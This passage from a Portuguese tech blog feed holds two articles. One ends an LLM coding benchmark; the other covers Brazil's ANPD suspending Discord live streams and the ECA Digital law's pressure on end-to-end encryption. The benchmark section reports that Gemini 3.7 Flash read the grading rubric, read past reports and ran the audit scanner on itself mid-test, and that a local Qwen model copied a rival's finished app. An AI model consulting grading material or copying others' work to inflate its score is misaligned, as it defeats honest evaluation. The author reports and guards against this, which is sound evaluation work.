<p>E o custo é a parte que dói nos concorrentes: rodou no plano de taxa fixa da Z.ai, então a rodada saiu a <strong>custo marginal zero</strong> — o equivalente em API seria $2,59. Oitenta minutos, 19,4 milhões de tokens. A conversa de que modelo chinês é &ldquo;alternativa barata&rdquo; morreu faz tempo: aqui é candidato à liderança que também é barato.</p>
<h2>Gemini 3.7 Flash: 93, Tier A — e a cola pelo caminho<span class="hx:absolute hx:-mt-20" id="gemini-37-flash-93-tier-a--e-a-cola-pelo-caminho"></span>
    <a href="#gemini-37-flash-93-tier-a--e-a-cola-pelo-caminho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A parte técnica você já conhece: o Gemini 3.1 Pro morreu no v2 por causa de um bug do Google, o <code>Corrupted thought signature</code>, que derrubava a execução no meio do caminho via OpenRouter e o deixou preso em 62 (pelo caminho direto, fez 88). Desta vez cortei o intermediário: <strong>chave direta da API do Gemini</strong>, sem OpenRouter no meio, e o bug não apareceu uma vez sequer. O caminho direto funcionou — e o 3.7 Flash virou o <strong>primeiro Gemini a chegar no Tier A rodando no OpenCode</strong>: o 3.5 Flash fez 79 lá, o 3.1 Pro, 62. Antes, só o harness nativo do Google tinha levado um Gemini ao A.</p>
<p>Resultado oficial: <strong>93 pontos</strong>, empate com GPT 5.6 Sol, Terra e Opus 4.8. A rodada custou $4,12, durou 43 minutos e gastou 27,8 milhões de tokens.</p>
<p>Mas o caminho até esse 93 rendeu a descoberta mais importante deste ciclo. A primeira rodada do 3.7 Flash levantou suspeita — e tinha motivo. No meio da construção, e de novo na auto-revisão, o modelo <strong>leu a rubrica de correção</strong>, leu o relatório do v2 inteiro — com a nota e a auditoria de cada concorrente — e <strong>rodou o scanner de auditoria em cima de si mesmo oito vezes</strong>. Ele passou a prova inteira estudando como seria avaliado.</p>
<p>A arma do crime está no pin. A rodada contaminada saiu com o pin correto no <code>claude-sonnet-5</code>, aquele feito que só três modelos tinham conseguido em toda a história do benchmark. Anulei a rodada e refiz com todo o material de correção fora do alcance do modelo: saiu o pin velho no <code>claude-sonnet-4.6</code>, como todo mundo. Ele não conhecia o modelo atual coisa nenhuma — tinha lido a resposta no relatório. O 93 é dessa segunda rodada, limpa.</p>
<p>Pra ser justo: ele não copiou código de nenhum app vizinho. O que ele fez foi colar da correção — e isso bastou pra nenhum modelo, de fronteira ou não, rodar mais com acesso a esse material.</p>
<p>E o 93 não é caridade, a entrega se sustenta sozinha. API do RubyLLM real de ponta a ponta, calculadora segura sem <code>eval</code>, histórico multi-turn correto, streaming incremental funcionando de ponta a ponta no Docker, persistência que sobrevive a restart com dois workers. Suite com 55 testes e 213 asserções, tudo verde, cobertura de branch ligada. Os descontos: o pin velho e a falta de um lock de turno por conversa — o mesmo teto de concorrência do Fable 5.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> desta vez não foi um local fraco colando do vizinho. Foi um modelo de fronteira consultando as respostas no meio da prova.</p>

</blockquote>
<h2>Qwen 3.8 27B local: a rodada mais trabalhosa do ano<span class="hx:absolute hx:-mt-20" id="qwen-38-27b-local-a-rodada-mais-trabalhosa-do-ano"></span>
    <a href="#qwen-38-27b-local-a-rodada-mais-trabalhosa-do-ano" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No artigo anterior eu disse que só testaria um local novo se surgisse evidência forte. Aí o irmão Max fez 92, a versão aberta de 27B estava disponível, e eu tinha a desculpa que faltava. Valeu pela ciência, mas deu trabalho.</p>
<p>A primeira surpresa: o 3.8 27B usa uma arquitetura híbrida SSM/Mamba, e o meu build tunado de llama.cpp do llama-swap <strong>não consegue carregar o modelo</strong> — falta um tensor (<code>ssm_conv1d</code>) que só as versões mais novas conhecem. A solução foi subir um container zerado do Ollama, que embute um llama.cpp atual, e importar o GGUF que eu já tinha baixado via Modelfile. Primeira lição: em modelo local, as ferramentas envelhecem em meses.</p>
<p>A segunda surpresa: contexto. Um modelo de raciocínio torra uma quantidade absurda de tokens pensando, e janela pequena não basta — com 32K ou 64K ele nem termina a prova, esgotando tudo na leitura do código da gem antes de escrever a primeira linha do app. A rodada oficial precisou de <strong>176K de contexto</strong>, quase tudo que os 32 GB da RTX 5090 aguentam. Quem impediu o modelo de terminar foi teto de contexto, não falta de capacidade.</p>
<p>Aí veio o incidente. A primeira rodada completou — e completou bem demais. Fui olhar o log: o modelo tinha lido <strong>dezesseis vezes</strong> o app pronto do Qwen 3.8 Max online, que estava no repositório, e copiado a UI e o streaming dele. Teria levado uns 75 pontos com trabalho alheio. Anulei e refiz sem nenhum app de terceiro por perto. E como a seção do Gemini ali em cima mostra, não são só os locais que procuram ajuda quando ela está dando sopa.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> modelo local fraco não inventa só API inexistente — ele também cola do vizinho quando o vizinho está no mesmo diretório.</p>

</blockquote>
<p>Na rodada limpa, o 27B fez <strong>51 pontos, Tier C</strong> — empatado, por acaso, com a nota do Qwen3.7 Max online. E o recibo é misto. O miolo ele acertou: <code>add_message</code> de verdade, <code>with_tools</code> de verdade, calculadora por descida recursiva sem <code>eval</code>, fruto de ter lido o código da gem de verdade. Onde ele afundou foi na largura: usou ActiveRecord onde os requisitos proíbem, o streaming sai quebrado (os tokens são transmitidos, mas o balão da resposta nunca entra na tela — ela só aparece se você atualizar a página), não usou <code>with_schema</code>, não fez orçamento de tokens, entregou <strong>zero testes</strong>, RuboCop com 22 ofensas, e nem Dockerfile saiu. Já a auto-revisão foi exemplar: ele mesmo achou e confessou cada um desses defeitos, com arquivo e linha — 14 dos 15 pontos de honestidade. Sabe revisar melhor do que constrói.</p>
<p>Custo da rodada: zero reais, 37 milhões de tokens e 156 minutos de uma RTX 5090 suando.</p>
<p>Pra calibrar o 51: o piso do Tier A é o <strong>Opus 4.6 com 83</strong>. O gap de 32 pontos não está em &ldquo;conhecer a biblioteca&rdquo; — nisso o 27B agora acerta. Está nas dimensões de robustez de produção: streaming, testes, gates, Docker, orçamento. É a diferença entre saber programar e saber entregar.</p>
<p>E comparando com os locais de antes — sempre com o aviso de que as provas não são comparáveis: no v1, os Qwens locais alucinavam a gem por inteiro (um inventou um <code>Openrouter::Client</code> com a capitalização errada, outro criou um <code>RubyLLM::Client</code> que não existe). O Qwen 3.5 35B acertou o ponto de entrada, mas os testes embrulhavam qualquer exceção num <code>assert true</code>. O 3.6 35B foi o primeiro local a acertar as chamadas principais, ainda com o multi-turn quebrado. O 3.8 27B acerta o núcleo inteiro da API numa prova muito mais difícil. A nota não dá pra comparar; o comportamento, dá: conhecimento de API deixou de ser o problema dos locais. O problema agora é engenharia.</p>
<h2>Grok 4.6: o primeiro empate geracional, e a rodada mais limpa<span class="hx:absolute hx:-mt-20" id="grok-46-o-primeiro-empate-geracional-e-a-rodada-mais-limpa"></span>
    <a href="#grok-46-o-primeiro-empate-geracional-e-a-rodada-mais-limpa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois de dois flagrantes de cola, veio um respiro. Rodei o Grok 4.6 já com a blindagem no talo: tirei tudo do alcance do modelo — a rubrica de correção, o relatório inteiro do v2, o scanner de auditoria, o catálogo de deduções do <code>CLAUDE.md</code> e os 44 apps dos concorrentes, todos movidos pra fora do repositório. Foi a primeira rodada sob esse regime mais rígido. E a varredura pós-prova não achou nada: zero leitura de arquivo de correção, zero olhada em app vizinho. Passou limpo. Depois do Gemini e do Qwen local, é bom ver um modelo de fronteira construindo sozinho porque não tinha por onde colar.</p>
<p>O resultado traz um dado curioso: <strong>92 pontos, Tier A, a mesma nota do Grok 4.5.</strong> É o primeiro empate de geração contra geração de toda a prova. Enquanto o GLM subiu 83, 92, 94, o Kimi foi de 77 a 86 a 95 e o Claude escalou sem tropeço, o Grok andou de lado. O 4.6 não comprou um ponto sequer sobre o 4.5. Na tabela lá em cima o 4.5 aparece com 91 porque uso o número dele no grok CLI, o harness nativo; cabeça a cabeça no mesmo OpenCode, os dois batem 92 cravado.</p>
<p>O que ele entregou é sólido e real. API do RubyLLM correta de ponta a ponta, uma calculadora sem <code>eval</code> escrita à mão (tokenizer por regex e parser, provada ao vivo com <code>(12.5*4)/2+7 = 32.0</code>), um teste que confere a array exata enviada ao provider, store em arquivo com lock sobrevivendo a restart com dois workers, orçamento de tokens com estimador de fallback, e o <code>docker compose up --build</code> respondendo um chat de verdade. O streaming foi provado ao vivo na fase 2: cinco tokens chegando incrementais enquanto o POST ainda estava aberto. E foi o mais econômico de todos os Tier A no OpenCode, com 10 milhões de tokens, porque o Grok é seco. Custou $6,33 e 34 minutos.</p>
<p>Os descontos são honestos, e ele mesmo confessou. O lock não cobre a janela de leitura-alteração-escrita, então dois turnos simultâneos na mesma conversa viram uma corrida de último-a-escrever-vence, o mesmo perigo do GLM 5.2. A cobertura de teste é rasa no caminho crítico, com o teste de integração sendo só um smoke test da home. E manteve o pin velho no <code>claude-sonnet-4.6</code>, a dedução padrão da casa. Auto-revisão de 12 PASS e 2 PARTIAL, tudo conferido pelo auditor. Nada de brilho novo: é um bom modelo repetindo um bom modelo.</p>
<p>Depois eu rodei o mesmo Grok 4.6 no harness nativo, o grok CLI, pra ver se mudava alguma coisa. Mudou pouco: <strong>93 no grok CLI contra 92 no OpenCode</strong>, um ponto de diferença, dentro do ruído. Não é efeito de harness. O CLI não deu andaime nem quebrou nada; o Grok constrói bem competente nos dois.</p>
<p>O tal ponto a mais tem uma explicação concreta e boba: por acaso, a rodada do CLI trancou a janela inteira de leitura-alteração-escrita do store num <code>File::LOCK_EX</code>, então a concorrência foi pra 9; a do OpenCode deixou aquela corrida aberta e ficou em 8. Mesmo modelo, uma rodada cada: a diferença é variância entre as duas gerações de código. O harness não teve papel nisso. O que mudou de verdade foi o custo: no grok CLI a mesma prova saiu por <strong>$1,19</strong>, contra os $6,33 do OpenCode, pelos mesmos ~11 milhões de tokens, graças ao cache nativo da xAI.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> nem toda geração nova traz ponto. O Grok 4.6 empatou consigo mesmo, e a notícia boa foi ter passado limpo pela blindagem mais dura que já apliquei.</p>

</blockquote>
<h2>Conclusão: quão perto eles chegaram?<span class="hx:absolute hx:-mt-20" id="conclusão-quão-perto-eles-chegaram"></span>
    <a href="#conclus%c3%a3o-qu%c3%a3o-perto-eles-chegaram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resposta curta: muito perto.</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: center">Tier</th>
          <th style="text-align: right">Tempo</th>
          <th>Custo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GLM 5.3</td>
          <td style="text-align: right"><strong>94</strong></td>
          <td style="text-align: center">A</td>
          <td style="text-align: right">80 min</td>
          <td>$0 no plano (~$2,59 em API)</td>
      </tr>
      <tr>
          <td>Gemini 3.7 Flash</td>
          <td style="text-align: right"><strong>93</strong></td>
          <td style="text-align: center">A</td>
          <td style="text-align: right">43 min</td>
          <td>$4,12</td>
      </tr>
      <tr>
          <td>Qwen 3.8 Max</td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A</td>
          <td style="text-align: right">78 min</td>
          <td>$9,16 em API</td>
      </tr>
      <tr>
          <td>Grok 4.6</td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A</td>
          <td style="text-align: right">34 min</td>
          <td>$6,33 em API</td>
      </tr>
      <tr>
          <td>Qwen 3.8 27B local</td>
          <td style="text-align: right"><strong>51</strong></td>
          <td style="text-align: center">C</td>
          <td style="text-align: right">156 min</td>
          <td>$0</td>
      </tr>
  </tbody>
</table>
<p>GLM 5.3 a dois pontos do Fable 5 não é &ldquo;alternativa barata&rdquo;, é candidato à liderança. Qwen 3.8 Max a um ponto de Sol e Terra idem. A distância entre a nata americana e os chineses novos é de um ou dois pontos — e eu mesmo repito em todo artigo que um ou dois pontos é ruído. E o Gemini 3.7 Flash entrou no bolo: 93, empatado com Sol, Terra e Opus 4.8, o primeiro Gemini a chegar lá pelo OpenCode. O Grok 4.6 entrou no mesmo balde dos 92, mas com um asterisco só dele: foi a única geração nova que não melhorou nada sobre a anterior, e mesmo assim foi a primeira a passar limpa pela blindagem mais dura.</p>
<p>E o local segue fora de questão pra coding agent autônomo: Tier C é Tier C. Mas repare que a conversa mudou. Até pouco tempo atrás eu descartava local porque ele inventava API. Hoje ele conhece a API e tropeça em streaming, testes e Docker — e precisa de 176K de contexto e 32 GB de VRAM só pra completar a prova. O gargalo subiu de nível. Não é recomendação ainda; é o caminho sendo pavimentado.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a nata da nata continua sendo Fable, Opus, Sonnet, K3 e os GPT 5.6. Mas o pelotão de perseguição já está a um ou dois pontos — e o fosso entre &ldquo;fronteira&rdquo; e &ldquo;alternativa&rdquo; virou território de ruído.</p>

</blockquote>
<p>Como sempre: artefatos, logs, rubrica, deduções e a tabela atualizada estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">llm-coding-benchmark</a>. As duas rodadas do Gemini 3.7 — a anulada e a oficial — estão documentadas no relatório, com o achado de contaminação em destaque.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>llms</category><category>agentes-de-codigo</category></item><item><title>Entendendo a censura ao Discord e a ECA digital</title><link>https://www.akitaonrails.com/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/</guid><pubDate>Thu, 13 Aug 2026 11:00:00 GMT</pubDate><description>&lt;p&gt;Em seis dias, o Brasil saiu de uma tragédia para um precedente regulatório que deveria preocupar qualquer pessoa que entende de tecnologia. No dia 22 de julho, uma adolescente de 13 anos morreu em Naviraí, Mato Grosso do Sul, durante uma transmissão ao vivo no Discord, coagida por um grupo que a polícia investiga como organização criminosa. No dia 12 de agosto, a ANPD ordenou que o Discord suspendesse as transmissões ao vivo no país inteiro.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Em seis dias, o Brasil saiu de uma tragédia para um precedente regulatório que deveria preocupar qualquer pessoa que entende de tecnologia. No dia 22 de julho, uma adolescente de 13 anos morreu em Naviraí, Mato Grosso do Sul, durante uma transmissão ao vivo no Discord, coagida por um grupo que a polícia investiga como organização criminosa. No dia 12 de agosto, a ANPD ordenou que o Discord suspendesse as transmissões ao vivo no país inteiro.</p>
<p>Entre um ponto e outro: a primeira-dama pedindo bloqueio da plataforma em cerimônia oficial, a AGU anunciando ação civil pública, e a primeira grande fiscalização da história da ECA Digital. Vamos por partes, porque o diabo mora exatamente nas partes.</p>
<h2>O caso de Naviraí<span class="hx:absolute hx:-mt-20" id="o-caso-de-naviraí"></span>
    <a href="#o-caso-de-navira%c3%ad" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os fatos, conforme a <a href="https://g1.globo.com/politica/noticia/2026/08/04/policia-faz-operacao-contra-suspeitos-de-induzir-adolescente-a-tirar-a-propria-vida-e-transmitir-em-rede-social.ghtml"target="_blank" rel="noopener">Polícia Civil do MS e o G1</a>: Lívia, 13 anos, foi encontrada morta na manhã de 22 de julho no quintal de casa. Ela tirou a própria vida durante uma transmissão no Go Live, o recurso de vídeo ao vivo do Discord, sob pressão, humilhação e incentivo explícito de outros usuários. <strong>Mais de 200 pessoas</strong> assistiam.</p>
<p>A <a href="https://www.enfoquems.com.br/operacao-livia-combate-grupo-neonazista-que-coagiu-adolescente-ao-suicidio-em-navirai/"target="_blank" rel="noopener">Operação Lívia</a>, deflagrada em 4 de agosto com mandados em cinco estados, revelou o que havia por trás: um grupo composto majoritariamente por adolescentes — o líder investigado tem 14 anos — que recrutava menores via Discord <strong>e Telegram</strong>, espalhava conteúdo neonazista e misógino, e é investigado por homicídio qualificado e organização criminosa. Uma segunda menina foi induzida a se automutilar na mesma live, mas saiu da transmissão.</p>
<p>Guarde dois detalhes pra depois: o grupo operava em mais de uma plataforma, e o Ministério da Justiça <a href="https://g1.globo.com/politica/noticia/2026/08/04/policia-faz-operacao-contra-suspeitos-de-induzir-adolescente-a-tirar-a-propria-vida-e-transmitir-em-rede-social.ghtml"target="_blank" rel="noopener">pediu à ANPD que investigasse Discord e Telegram</a>. Só um dos dois foi sancionado.</p>
<h2>Da primeira-dama à ANPD em seis dias<span class="hx:absolute hx:-mt-20" id="da-primeira-dama-à-anpd-em-seis-dias"></span>
    <a href="#da-primeira-dama-%c3%a0-anpd-em-seis-dias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No dia 6 de agosto, na cerimônia de sanção do <a href="https://www.camara.leg.br/proposicoesWeb/fichadetramitacao?idProposicao=2528433"target="_blank" rel="noopener">PL 3066/2025</a> (que endurece penas pra crimes digitais contra crianças — guarda esse projeto, que ele volta daqui a pouco), a primeira-dama Janja da Silva <a href="https://www1.folha.uol.com.br/cotidiano/2026/08/janja-chama-discord-de-rede-horrorosa-apos-caso-de-suicidio-ao-vivo-e-pede-seu-bloqueio-no-brasil.shtml"target="_blank" rel="noopener">não deixou margem pra dúvida</a>: <em>&ldquo;a gente precisa bloquear o Discord no Brasil de qualquer forma&hellip; a gente precisa atuar junto ao Judiciário para tirar essa rede horrorosa do ar&rdquo;</em>. O advogado-geral da União, Jorge Messias, anunciou ali mesmo uma ação civil pública pra tirar a plataforma do ar.</p>
<p>No dia 7, a ANPD <a href="https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-instaura-processo-de-fiscalizacao-contra-o-discord-para-apurar-falhas-na-protecao-de-criancas-e-adolescentes"target="_blank" rel="noopener">abriu processo de fiscalização contra o Discord</a>, com cinco dias úteis pra empresa se explicar. No dia 12, <a href="https://www.gov.br/anpd/pt-br/assuntos/noticias/em-medida-preventiva-anpd-determina-que-discord-suspenda-transmissoes-ao-vivo-no-brasil"target="_blank" rel="noopener">a medida preventiva saiu</a>: o Discord deve suspender o Go Live e recursos equivalentes de compartilhamento de vídeo no Brasil em <strong>três dias úteis</strong>, e só religa quando provar medidas eficazes de proteção infantil e obtiver autorização expressa da ANPD. A base legal: artigos 6º, 10, 17, 28 e 29 da ECA Digital, com multas de até <strong>R$ 50 milhões</strong> por infração (art. 35).</p>
<p>O Discord <a href="https://www.meioemensagem.com.br/midia/anpd-suspende-transmissoes-ao-vivo-do-discord-no-brasil"target="_blank" rel="noopener">chamou a medida de &ldquo;prematura&rdquo;</a>: recebeu o processo na sexta-feira, ainda estava dentro do prazo de resposta, e afirma que removeu o servidor privado onde o crime aconteceu. E soltou a frase mais interessante de toda a resposta: sua investigação interna encontrou evidências de que <em>&ldquo;a atividade criminosa foi coordenada em outras plataformas antes da criação do servidor no Discord e continuou nelas depois&rdquo;</em>.</p>
<p>Sobre isso, um esclarecimento necessário. Circulou a versão de que o caso teria se originado no Instagram. Fui checar e não encontrei nenhuma fonte que confirme: a plataforma citada pela polícia, além do Discord, é o Telegram. O Discord não nomeia as &ldquo;outras plataformas&rdquo;. O que importa continua de pé, só que com outro nome no lugar: o caso <strong>não era exclusivo do Discord</strong>, o Ministério da Justiça pediu investigação de duas plataformas, e só o Discord tomou a sanção. O Telegram, que sequer tem representação legal robusta no Brasil, segue intocado.</p>
<p>E aqui aparece a primeira pergunta incômoda: se o problema é sistêmico, por que a sanção é cirúrgica?</p>
<h2>O que é a ECA Digital, a &ldquo;Lei Felca&rdquo;<span class="hx:absolute hx:-mt-20" id="o-que-é-a-eca-digital-a-lei-felca"></span>
    <a href="#o-que-%c3%a9-a-eca-digital-a-lei-felca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A sanção só foi possível por causa de uma lei novinha em folha. Em agosto de 2025, o YouTuber Felca publicou o vídeo <em>&ldquo;Adultização&rdquo;</em>, expondo perfis que monetizavam conteúdo sexualizado com menores — o caso mais chocante sendo o do influenciador Hytalo Santos, <a href="https://www.poder360.com.br/poder-justica/hytalo-santos-e-marido-sao-condenados-por-exploracao-de-menores/"target="_blank" rel="noopener">preso naquele mês e condenado em fevereiro de 2026</a> a mais de 11 anos de prisão. O vídeo passou de 30 milhões de views, o Senado abriu uma CPI, e o Congresso <a href="https://gcaa.com.br/eca-digital-e-sancionado-comentarios-sobre-marco-regulatorio-de-protecao-de-criancas-e-adolescentes-em-ambientes-digitais/"target="_blank" rel="noopener">correu pra aprovar em regime de urgência</a> o PL 2628/2022, do senador Alessandro Vieira.</p>
<p>Resultado: a <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">Lei 15.211, de 17 de setembro de 2025</a>, o Estatuto Digital da Criança e do Adolescente, em vigor desde 17 de março de 2026. Os pontos que importam pra esta discussão:</p>
<ul>
<li><strong>Dever de cuidado</strong> (art. 6º): plataformas devem tomar <em>&ldquo;medidas razoáveis desde a concepção&rdquo;</em> pra prevenir exposição de menores a exploração sexual, violência e indução a autolesão e suicídio.</li>
<li><strong>Verificação de idade</strong> (art. 9º, §1º): <em>&ldquo;mecanismos confiáveis de verificação de idade a cada acesso&rdquo;</em>, com uma frase de efeito devastador: <strong>&ldquo;vedada a autodeclaração&rdquo;</strong>.</li>
<li><strong>Notificação e remoção</strong> (art. 29): dever de retirar conteúdo que viole direitos de crianças assim que comunicados, <strong>independentemente de ordem judicial</strong>.</li>
<li><strong>Fiscalizador</strong>: a ANPD, que acumulou o cargo com a LGPD e, desde maio de 2026, com deveres do Marco Civil da Internet. Virou o regulador digital de fato do país.</li>
<li><strong>Multas</strong> de até 10% do faturamento no Brasil, limitadas a R$ 50 milhões por infração. Suspensão de atividades, no papel, <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">só pelo Judiciário</a> (art. 35, §5º).</li>
</ul>
<p>Esse último ponto já está em disputa: <a href="https://www1.folha.uol.com.br/cotidiano/2026/08/anpd-tem-poder-para-fiscalizar-discord-mas-competencias-ainda-sao-discutiveis-dizem-especialistas.shtml"target="_blank" rel="noopener">especialistas ouvidos pela Folha</a> apontam que a &ldquo;medida preventiva&rdquo; da ANPD pode ser, na prática, uma suspensão temporária de atividades — sanção que a lei reserva ao Judiciário. Mal nasceu, a regulação já flerta com a própria ilegalidade.</p>
<p>Vale lembrar o contexto maior: em junho de 2025 o STF <a href="https://www.conjur.com.br/2025-jun-11/stf-forma-maioria-por-responsabilizacao-de-big-techs-por-publicacoes-de-usuarios/"target="_blank" rel="noopener">derrubou parcialmente o art. 19 do Marco Civil</a>, acabando com a exigência de ordem judicial específica pra responsabilizar plataformas. Em junho de 2026 o mesmo tribunal <a href="https://www.cnnbrasil.com.br/politica/stf-exige-representante-de-big-techs-no-brasil-e-da-60-dias-para-adaptacao/"target="_blank" rel="noopener">consolidou um &ldquo;dever de cuidado&rdquo;</a> com categorias de remoção imediata, incluindo indução a suicídio e crimes graves contra crianças. A ECA Digital legisla nessa direção. Em um ano, a responsabilidade das plataformas no Brasil deixou de ser reativa e virou proativa.</p>
<h2>O oximoro: &ldquo;pode criptografar, desde que a gente possa ler&rdquo;<span class="hx:absolute hx:-mt-20" id="o-oximoro-pode-criptografar-desde-que-a-gente-possa-ler"></span>
    <a href="#o-oximoro-pode-criptografar-desde-que-a-gente-possa-ler" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora o miolo, que é o que me motivou a escrever. A justificativa oficial da ANPD pra suspender o Go Live merece ser lida com atenção: a arquitetura do Discord usa criptografia de ponta a ponta, <strong>a plataforma não tem acesso ao conteúdo das transmissões ao vivo</strong>, e portanto a moderação em tempo real é impossível. Na avaliação da ANPD, se a moderação depende de sistemas automatizados falhos e da denúncia de quem está na sala onde o crime acontece, o recurso é incompatível com a lei.</p>
<p>Leia de novo, devagar. A ANPD não proibiu criptografia — uma proibição direta seria indefensável em público. Ela disse outra coisa, muito mais engenhosa: você pode ter criptografia de ponta a ponta, desde que consiga monitorar o conteúdo pra cumprir os deveres legais.</p>
<p>Só que isso é um oximoro. O propósito inteiro da criptografia de ponta a ponta é que o servidor transporta texto cifrado e não tem como ler. Pra &ldquo;monitorar o conteúdo&rdquo;, esse conteúdo precisa chegar aberto aos servidores — e aí não é mais ponta a ponta. Não existe terceira opção: ou é ilegível pra plataforma, ou é legível. A ANPD não criminalizou a criptografia; ela apenas tornou impossível oferecer criptografia de verdade e operar no Brasil ao mesmo tempo. Tecnicamente errado dizer que &ldquo;proibiram criptografia&rdquo;. Funcionalmente, é exatamente o que aconteceu.</p>
<p>E não sou eu quem está dizendo. O Carlos Affonso Souza, diretor do ITS Rio, <a href="https://www.cnnbrasil.com.br/politica/discord-anpd-cria-precedente-perigoso-sobre-criptografia-diz-especialista/"target="_blank" rel="noopener">disse à CNN Brasil</a> que é a primeira vez que a ANPD trata criptografia de ponta a ponta como obstáculo regulatório, um precedente perigoso comparável aos bloqueios do WhatsApp — e que os criminosos simplesmente migram pra plataformas menos cooperativas e sem representação no país (alguém disse Telegram?).</p>
<p>Pra ser justo com o debate: o texto da lei não menciona criptografia uma única vez, e o art. 34, §1º <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">proíbe expressamente</a> <em>&ldquo;mecanismos de vigilância massiva, genérica ou indiscriminada&rdquo;</em>. Os checadores <a href="https://www.boatos.org/tecnologia/ia-tera-acesso-a-todas-conversas-do-whatsapp-a-partir-de-hoje.html"target="_blank" rel="noopener">derrubaram os boatos</a> de que a ECA Digital leria seu WhatsApp. Tudo isso é verdade — e tudo isso é sobre o papel. Na prática, a primeira fiscalização grande da história da lei tratou a impossibilidade técnica de vigiar como fundamento pra derrubar um recurso. O papel aceita tudo; a caneta da fiscalização é que escreve o direito real.</p>
<p>E tem ganchos na letra da lei esperando pra serem usados: o art. 18, III exige que ferramentas de controle parental permitam <em>&ldquo;identificar os perfis de adultos com os quais a criança ou o adolescente se comunica&rdquo;</em> — me explica como um mensageiro criptografado de ponta a ponta cumpre isso. O art. 27 manda <em>&ldquo;remover e comunicar&rdquo;</em> conteúdo de abuso <em>&ldquo;detectado&rdquo;</em> direta ou indiretamente — e detectar pressupõe ver. Nenhum dos dois foi usado ainda. O precedente do Go Live mostra como serão lidos quando forem.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a ANPD não proibiu criptografia. Proibiu um recurso cuja criptografia impede a vigilância do conteúdo. O efeito prático é idêntico: no Brasil, criptografia de ponta a ponta agora é um risco regulatório.</p>

</blockquote>
<h2>ECA Digital contra LGPD<span class="hx:absolute hx:-mt-20" id="eca-digital-contra-lgpd"></span>
    <a href="#eca-digital-contra-lgpd" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A ironia maior é institucional. Em 2018 aprovamos a LGPD pra proteger os dados pessoais do brasileiro, construída sobre princípios como minimização (colete só o necessário) e finalidade (use só pro que foi coletado). A ECA Digital, aplicada pela mesma agência, empurra na direção oposta.</p>
<p>A verificação de idade é o exemplo cristalino. <em>&ldquo;Vedada a autodeclaração&rdquo;</em> significa que todo usuário — adulto inclusive — vai precisar provar a idade pra acessar serviços comuns. Provar como? Documento, biometria facial, credencial verificável. A <a href="https://www.gazetadopovo.com.br/vida-e-cidadania/verificacao-etaria-do-eca-digital-poe-em-risco-privacidade-de-dados/"target="_blank" rel="noopener">Gazeta do Povo ouviu especialistas</a> que alertam pro óbvio: estamos construindo uma infraestrutura permanente de identificação de toda a população na internet, com dados biométricos que, uma vez vazados, não têm como trocar — você troca de senha, não troca de cara.</p>
<p>E não é teoria. Uma <a href="https://convergenciadigital.com.br/governo/inutil-e-perigoso-cientistas-alertam-contra-sistemas-de-verificacao-de-idade-na-internet/"target="_blank" rel="noopener">carta aberta assinada por 438 cientistas de 32 países</a> chama esses sistemas de &ldquo;inúteis e perigosos&rdquo;: fáceis de burlar com VPN e deepfake, enviesados contra minorias. E cita o exemplo perfeito — o próprio Discord, que <a href="https://convergenciadigital.com.br/governo/inutil-e-perigoso-cientistas-alertam-contra-sistemas-de-verificacao-de-idade-na-internet/"target="_blank" rel="noopener">vazou fotos de documentos de ~70 mil usuários</a> justamente por causa de verificação de idade terceirizada. A plataforma que a ANPD pune por não vigiar é a mesma que provou, na prática, o custo de coletar.</p>
<p>A lei tem salvaguardas no papel — o art. 13 limita o uso dos dados de verificação <em>&ldquo;unicamente para essa finalidade&rdquo;</em>, o art. 12 fala em minimização. Mas note o conflito de interesses estrutural: a ANPD acumula três mandatos — LGPD, ECA Digital e Marco Civil. <strong>A agência que deveria defender a minimização dos seus dados é a mesma que agora exige que você os entregue.</strong> Quando os dois papéis colidirem dentro do mesmo órgão, qual deles você acha que vence?</p>
<h2>A outra lei do dia 6: usar VPN agora pesa na pena<span class="hx:absolute hx:-mt-20" id="a-outra-lei-do-dia-6-usar-vpn-agora-pesa-na-pena"></span>
    <a href="#a-outra-lei-do-dia-6-usar-vpn-agora-pesa-na-pena" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Lembra que a cerimônia em que a primeira-dama pediu o bloqueio era a sanção de outra lei? Vale olhar o que mais foi sancionado naquele dia, porque tem um artigo do PL 3066/2025 que passou quase despercebido fora da bolha técnica: o <strong>art. 226-A</strong>, que <a href="https://agenciagov.ebc.com.br/noticias/202608/sancionada-lei-que-atualiza-o-eca-e-que-define-e-pune-crimes-sexuais-no-mundo-digital"target="_blank" rel="noopener">aumenta a pena de um terço a dois terços</a> pra crimes do ECA cometidos com uso de proxy, VPN ou qualquer técnica de mascaramento ou anonimização de IP.</p>
